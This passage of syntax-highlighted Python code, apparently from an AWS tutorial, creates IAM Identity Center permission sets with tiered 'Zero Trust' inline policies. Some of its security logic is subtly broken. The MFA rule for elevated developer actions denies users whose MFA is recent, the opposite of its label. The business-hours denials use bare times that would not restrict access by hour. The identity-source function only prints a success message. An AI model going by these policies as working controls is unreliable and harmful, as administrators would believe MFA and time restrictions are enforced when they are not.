        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to setup Identity Center: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="p">{</span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">failed</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">:</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)}</span>
    
    <span class="k">def</span> <span class="nf">configure_identity_source</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">instance_arn</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Configure external identity source integration</span><span class="sh">"""</span>
        
        <span class="c1"># Configure Active Directory integration
</span>        <span class="n">ad_config</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">DirectoryId</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">d-1234567890</span><span class="sh">'</span><span class="p">,</span>  <span class="c1"># Replace with actual directory ID
</span>            <span class="sh">'</span><span class="s">ConnectorArn</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">arn:aws:ds:region:account:connector/c-1234567890</span><span class="sh">'</span>
        <span class="p">}</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Note: This is a simplified example
</span>            <span class="c1"># Actual implementation would use the Directory Service APIs
</span>            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Configured identity source for instance: </span><span class="si">{</span><span class="n">instance_arn</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to configure identity source: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">create_zero_trust_permission_sets</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">instance_arn</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">List</span><span class="p">[</span><span class="n">Dict</span><span class="p">]:</span>
        <span class="sh">"""</span><span class="s">Create tiered permission sets following Zero Trust principles</span><span class="sh">"""</span>
        
        <span class="n">permission_sets</span> <span class="o">=</span> <span class="p">[]</span>
        
        <span class="c1"># Read-Only Access Permission Set
</span>        <span class="n">readonly_ps</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">create_permission_set</span><span class="p">(</span>
            <span class="n">instance_arn</span><span class="o">=</span><span class="n">instance_arn</span><span class="p">,</span>
            <span class="n">name</span><span class="o">=</span><span class="sh">'</span><span class="s">ZeroTrust-ReadOnly</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">description</span><span class="o">=</span><span class="sh">'</span><span class="s">Read-only access with conditional restrictions</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">session_duration</span><span class="o">=</span><span class="sh">'</span><span class="s">PT2H</span><span class="sh">'</span><span class="p">,</span>  <span class="c1"># 2 hours
</span>            <span class="n">policies</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">managed</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">arn</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">arn:aws:iam::aws:policy/ReadOnlyAccess</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">],</span>
            <span class="n">inline_policy</span><span class="o">=</span><span class="n">self</span><span class="p">.</span><span class="nf">generate_conditional_readonly_policy</span><span class="p">()</span>
        <span class="p">)</span>
        <span class="n">permission_sets</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">readonly_ps</span><span class="p">)</span>
        
        <span class="c1"># Developer Access Permission Set
</span>        <span class="n">developer_ps</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">create_permission_set</span><span class="p">(</span>
            <span class="n">instance_arn</span><span class="o">=</span><span class="n">instance_arn</span><span class="p">,</span>
            <span class="n">name</span><span class="o">=</span><span class="sh">'</span><span class="s">ZeroTrust-Developer</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">description</span><span class="o">=</span><span class="sh">'</span><span class="s">Developer access with time and resource restrictions</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">session_duration</span><span class="o">=</span><span class="sh">'</span><span class="s">PT4H</span><span class="sh">'</span><span class="p">,</span>  <span class="c1"># 4 hours
</span>            <span class="n">policies</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">managed</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">arn</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">arn:aws:iam::aws:policy/PowerUserAccess</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">],</span>
            <span class="n">inline_policy</span><span class="o">=</span><span class="n">self</span><span class="p">.</span><span class="nf">generate_conditional_developer_policy</span><span class="p">()</span>
        <span class="p">)</span>
        <span class="n">permission_sets</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">developer_ps</span><span class="p">)</span>
        
        <span class="c1"># Security Admin Permission Set
</span>        <span class="n">security_admin_ps</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">create_permission_set</span><span class="p">(</span>
            <span class="n">instance_arn</span><span class="o">=</span><span class="n">instance_arn</span><span class="p">,</span>
            <span class="n">name</span><span class="o">=</span><span class="sh">'</span><span class="s">ZeroTrust-SecurityAdmin</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">description</span><span class="o">=</span><span class="sh">'</span><span class="s">Security administration with enhanced monitoring</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">session_duration</span><span class="o">=</span><span class="sh">'</span><span class="s">PT1H</span><span class="sh">'</span><span class="p">,</span>  <span class="c1"># 1 hour
</span>            <span class="n">policies</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">custom</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">policy</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">generate_security_admin_policy</span><span class="p">()</span>
                <span class="p">}</span>
            <span class="p">],</span>
            <span class="n">inline_policy</span><span class="o">=</span><span class="n">self</span><span class="p">.</span><span class="nf">generate_security_admin_conditions</span><span class="p">()</span>
        <span class="p">)</span>
        <span class="n">permission_sets</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">security_admin_ps</span><span class="p">)</span>
        
        <span class="c1"># Emergency Break-Glass Permission Set
</span>        <span class="n">breakglass_ps</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">create_permission_set</span><span class="p">(</span>
            <span class="n">instance_arn</span><span class="o">=</span><span class="n">instance_arn</span><span class="p">,</span>
            <span class="n">name</span><span class="o">=</span><span class="sh">'</span><span class="s">ZeroTrust-BreakGlass</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">description</span><span class="o">=</span><span class="sh">'</span><span class="s">Emergency access with extensive logging and approval</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">session_duration</span><span class="o">=</span><span class="sh">'</span><span class="s">PT30M</span><span class="sh">'</span><span class="p">,</span>  <span class="c1"># 30 minutes
</span>            <span class="n">policies</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">managed</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">arn</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">arn:aws:iam::aws:policy/AdministratorAccess</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">],</span>
            <span class="n">inline_policy</span><span class="o">=</span><span class="n">self</span><span class="p">.</span><span class="nf">generate_breakglass_conditions</span><span class="p">()</span>
        <span class="p">)</span>
        <span class="n">permission_sets</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">breakglass_ps</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">permission_sets</span>
    
    <span class="k">def</span> <span class="nf">create_permission_set</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">instance_arn</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">name</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">description</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> 
                             <span class="n">session_duration</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">policies</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="n">Dict</span><span class="p">],</span> 
                             <span class="n">inline_policy</span><span class="p">:</span> <span class="n">Optional</span><span class="p">[</span><span class="n">Dict</span><span class="p">]</span> <span class="o">=</span> <span class="bp">None</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create individual permission set with Zero Trust controls</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Create permission set
</span>            <span class="n">response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">sso_admin</span><span class="p">.</span><span class="nf">create_permission_set</span><span class="p">(</span>
                <span class="n">InstanceArn</span><span class="o">=</span><span class="n">instance_arn</span><span class="p">,</span>
                <span class="n">Name</span><span class="o">=</span><span class="n">name</span><span class="p">,</span>
                <span class="n">Description</span><span class="o">=</span><span class="n">description</span><span class="p">,</span>
                <span class="n">SessionDuration</span><span class="o">=</span><span class="n">session_duration</span><span class="p">,</span>
                <span class="n">RelayState</span><span class="o">=</span><span class="sh">'</span><span class="s">https://console.aws.amazon.com/</span><span class="sh">'</span>
            <span class="p">)</span>
            
            <span class="n">permission_set_arn</span> <span class="o">=</span> <span class="n">response</span><span class="p">[</span><span class="sh">'</span><span class="s">PermissionSet</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">PermissionSetArn</span><span class="sh">'</span><span class="p">]</span>
            
            <span class="c1"># Attach managed policies
</span>            <span class="k">for</span> <span class="n">policy</span> <span class="ow">in</span> <span class="n">policies</span><span class="p">:</span>
                <span class="k">if</span> <span class="n">policy</span><span class="p">[</span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">]</span> <span class="o">==</span> <span class="sh">'</span><span class="s">managed</span><span class="sh">'</span><span class="p">:</span>
                    <span class="n">self</span><span class="p">.</span><span class="n">sso_admin</span><span class="p">.</span><span class="nf">attach_managed_policy_to_permission_set</span><span class="p">(</span>
                        <span class="n">InstanceArn</span><span class="o">=</span><span class="n">instance_arn</span><span class="p">,</span>
                        <span class="n">PermissionSetArn</span><span class="o">=</span><span class="n">permission_set_arn</span><span class="p">,</span>
                        <span class="n">ManagedPolicyArn</span><span class="o">=</span><span class="n">policy</span><span class="p">[</span><span class="sh">'</span><span class="s">arn</span><span class="sh">'</span><span class="p">]</span>
                    <span class="p">)</span>
                <span class="k">elif</span> <span class="n">policy</span><span class="p">[</span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">]</span> <span class="o">==</span> <span class="sh">'</span><span class="s">custom</span><span class="sh">'</span><span class="p">:</span>
                    <span class="n">self</span><span class="p">.</span><span class="n">sso_admin</span><span class="p">.</span><span class="nf">put_inline_policy_to_permission_set</span><span class="p">(</span>
                        <span class="n">InstanceArn</span><span class="o">=</span><span class="n">instance_arn</span><span class="p">,</span>
                        <span class="n">PermissionSetArn</span><span class="o">=</span><span class="n">permission_set_arn</span><span class="p">,</span>
                        <span class="n">InlinePolicy</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">policy</span><span class="p">[</span><span class="sh">'</span><span class="s">policy</span><span class="sh">'</span><span class="p">])</span>
                    <span class="p">)</span>
            
            <span class="c1"># Add inline policy with conditions
</span>            <span class="k">if</span> <span class="n">inline_policy</span><span class="p">:</span>
                <span class="n">self</span><span class="p">.</span><span class="n">sso_admin</span><span class="p">.</span><span class="nf">put_inline_policy_to_permission_set</span><span class="p">(</span>
                    <span class="n">InstanceArn</span><span class="o">=</span><span class="n">instance_arn</span><span class="p">,</span>
                    <span class="n">PermissionSetArn</span><span class="o">=</span><span class="n">permission_set_arn</span><span class="p">,</span>
                    <span class="n">InlinePolicy</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">inline_policy</span><span class="p">)</span>
                <span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="n">name</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">arn</span><span class="sh">'</span><span class="p">:</span> <span class="n">permission_set_arn</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">created</span><span class="sh">'</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to create permission set </span><span class="si">{</span><span class="n">name</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="n">name</span><span class="p">,</span> <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">failed</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">:</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)}</span>
    
    <span class="k">def</span> <span class="nf">generate_conditional_readonly_policy</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Generate conditional access policy for read-only users</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">"</span><span class="s">Version</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">2012-10-17</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">DenyOutsideBusinessHours</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">DateGreaterThan</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">aws:CurrentTime</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">18:00Z</span><span class="sh">"</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">DenyOutsideBusinessHours2</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">DateLessThan</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">aws:CurrentTime</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">08:00Z</span><span class="sh">"</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RequireMFAForSensitiveActions</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sh">"</span><span class="s">iam:*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">organizations:*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">account:*</span><span class="sh">"</span>
                    <span class="p">],</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">BoolIfExists</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">aws:MultiFactorAuthPresent</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">false</span><span class="sh">"</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RestrictToApprovedRegions</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">StringNotEquals</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">aws:RequestedRegion</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                                <span class="sh">"</span><span class="s">us-east-1</span><span class="sh">"</span><span class="p">,</span>
                                <span class="sh">"</span><span class="s">us-west-2</span><span class="sh">"</span><span class="p">,</span>
                                <span class="sh">"</span><span class="s">eu-west-1</span><span class="sh">"</span>
                            <span class="p">]</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RequireSSLRequestsOnly</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">s3:*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">Bool</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">aws:SecureTransport</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">false</span><span class="sh">"</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">generate_conditional_developer_policy</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Generate conditional access policy for developers</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">"</span><span class="s">Version</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">2012-10-17</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">DenyProductionAccess</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">StringLike</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">aws:PrincipalTag/Environment</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span><span class="sh">"</span><span class="s">prod</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">production</span><span class="sh">"</span><span class="p">]</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RequireMFAForElevatedActions</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sh">"</span><span class="s">iam:CreateRole</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">iam:DeleteRole</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">iam:AttachRolePolicy</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">iam:DetachRolePolicy</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">ec2:TerminateInstances</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">rds:DeleteDBInstance</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">s3:DeleteBucket</span><span class="sh">"</span>
                    <span class="p">],</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">NumericLessThan</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">aws:MultiFactorAuthAge</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">3600</span><span class="sh">"</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">RestrictResourceCreationByTags</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sh">"</span><span class="s">ec2:RunInstances</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">rds:CreateDBInstance</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">lambda:CreateFunction</span><span class="sh">"</span>
                    <span class="p">],</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">Null</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">aws:RequestedRegion</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">false</span><span class="sh">"</span>
                        <span class="p">},</span>
                        <span class="sh">"</span><span class="s">ForAllValues:StringNotLike</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">aws:TagKeys</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                                <span class="sh">"</span><span class="s">Project</span><span class="sh">"</span><span class="p">,</span>
                                <span class="sh">"</span><span class="s">Environment</span><span class="sh">"</span><span class="p">,</span>
                                <span class="sh">"</span><span class="s">Owner</span><span class="sh">"</span>
                            <span class="p">]</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">generate_security_admin_policy</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Generate policy for security administrators</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">"</span><span class="s">Version</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">2012-10-17</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Allow</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sh">"</span><span class="s">iam:*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">organizations:*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">securityhub:*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">guardduty:*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">cloudtrail:*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">config:*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">inspector2:*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">access-analyzer:*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">macie2:*</span><span class="sh">"</span>
                    <span class="p">],</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Allow</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sh">"</span><span class="s">ec2:*SecurityGroup*</span><span class="sh">"</span><span class="p">,</span>
